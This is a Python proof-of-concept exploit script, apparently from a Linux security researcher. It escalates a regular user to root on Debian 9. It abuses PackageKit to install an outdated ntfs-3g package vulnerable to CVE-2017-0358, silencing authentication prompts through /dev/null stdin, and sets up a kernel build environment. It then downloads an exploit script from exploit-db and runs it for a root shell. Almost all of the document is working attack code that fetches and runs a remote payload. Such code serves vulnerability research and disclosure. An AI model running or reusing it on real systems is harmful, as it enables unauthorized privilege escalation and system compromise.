#!/usr/bin/python3 # vim: noet ts=8 sts=8 sw=8 # Author: Matthias Gerstner # SUSE Linux GmbH # Date: 2018-04-05 # # Proof of concept: installation of an outdated package as a regular user via # PackageKit on Debian to exploit a security defect and subsequently obtain # root privileges. # # This script is supposed to be run on Debian 9 stretch as a regular user. # # Preconditions: # # - PackageKit must be installed # - fuse module must not yet be loaded (there is also a variation of the # exploit that attempts to exhaust the number of open files in the system to # make the exploit work even if fuse is loaded, but it is not used here). # # This program downloads an old version of the ntfs-3g package that carries # a valid signature and which is installed without admin permissions via # PackageKit. # # The old ntfs-3g version is vulnerable to CVE-2017-0358 and allows to load # a user controlled kernel module by using the MODPROBE_OPTIONS environment # variable. # # Since we can install any other packages we like via PackageKit, this PoC # also installs 'build-essential', 'linux-headers' and 'dos2unix' for # setting up the kernel build environment necessary to use the exploit. # # Even if ntfs-3g is already installed on Debian it can be downgraded to the # to the downgrade restriction not being enforced by the PackageKit apt # backend. # # Should an authentication prompt pop up (in a graphical environment) then # simply press cancel to make the PoC continue. from __future__ import print_function import os, sys import urllib.request import subprocess import functools import errno call = functools.partial(subprocess.call, close_fds = True, shell = False) check_output = functools.partial(subprocess.check_output, close_fds = True, shell = False) popen = functools.partial(subprocess.Popen, close_fds = True, shell = False) def add_space(amount): print('\n' * amount) def download_url(url): base = url.split('/')[-1] print("Downloading", url, "to", base) con = urllib.request.urlopen(url) with open(base, 'wb') as fd: while True: chunk = con.read(4096) if not chunk: break fd.write(chunk) return os.path.join( os.getcwd(), base ) def run_pkcon(cmdline): pkcon = "/usr/bin/pkcon" cmdline = [pkcon, "-y"] + cmdline print("Using command line", ' '.join(cmdline)) # use /dev/null as stdin to suppress authentication dialogs with open("/dev/null", 'r') as null: res = call( cmdline, stdin = null ) if res == 0: print("Successfully called pkcon") else: print("pkcon failed") sys.exit(1) def install_deb(debs): if not isinstance(debs, list): debs = [ debs ] cmdline = [ "install-local", "--allow-reinstall" ] + debs print("Trying to install", ' '.join(debs)) run_pkcon(cmdline) # hint is a prefix for finding the right DEB package in the cache (e.g. # multiple gcc packages with various prefixes are downloaded) def install_package(pkg, hint = None): cmdline = [ "install", "--only-download", pkg ] print("Trying to download system package", pkg) run_pkcon(cmdline) candidates = [] archives_root = "/var/cache/apt/archives" # now look up the archive and install it, dependencies are implicitly # pulled in by PackageKit for archive in os.listdir(archives_root): if not archive.endswith(".deb"): continue elif not archive.startswith(pkg): continue elif hint and not archive.startswith(hint): continue candidates.append(archive) if not candidates: print("Couldn't determine DEB package to install") sys.exit(1) elif len(candidates) > 1: print("More than one DEB install candidate found:", candidates) sys.exit(1) pkg_archive = os.path.join( archives_root, candidates[0] ) cmdline = [ "install-local", "--allow-reinstall", pkg_archive ] print("Trying to install", pkg_archive) run_pkcon(cmdline) pkg_url_base = "https://cdimage.debian.org/mirror/cdimage/snapshot/Debian/pool/main" pkg_bases = [ "n/nettle/libhogweed2_2.7.1-5_amd64.deb", "n/nettle/libnettle4_2.7.1-5_amd64.deb", "g/gnutls28/libgnutls-deb0-28_3.3.8-6_amd64.deb", "n/ntfs-3g/ntfs-3g_2014.2.15AR.2-1+deb8u2_amd64.deb", ] debs = [] for pkg in pkg_bases: deb = download_url('/'.join([pkg_url_base, pkg])) debs.append(deb) add_space(3) install_deb(debs) kernelver = check_output(["uname", "-r"]).decode().strip() for pkg in ("build-essential", "linux-headers-{}".format(kernelver), "dos2unix"): with open("/dev/null", 'w') as null: if call(["dpkg", "-s", pkg], stdout = null) == 0: continue add_space(3) install_package(pkg) add_space(3) exploit_dir = os.path.expanduser("~/ntfs_exploit") try: os.makedirs(exploit_dir) except OSError as e: if e.errno != errno.EEXIST: raise os.chdir(exploit_dir) print("Downloading exploit script") # a program that helps getting a root shell once equipped with the setuid root bit exploit_url = "https://www.exploit-db.com/download/41240.sh" exploit_script = download_url(exploit_url) call(["dos2unix", exploit_script]) os.chmod(exploit_script, 0o755) add_space(3) print("Running exploit script") call(exploit_script)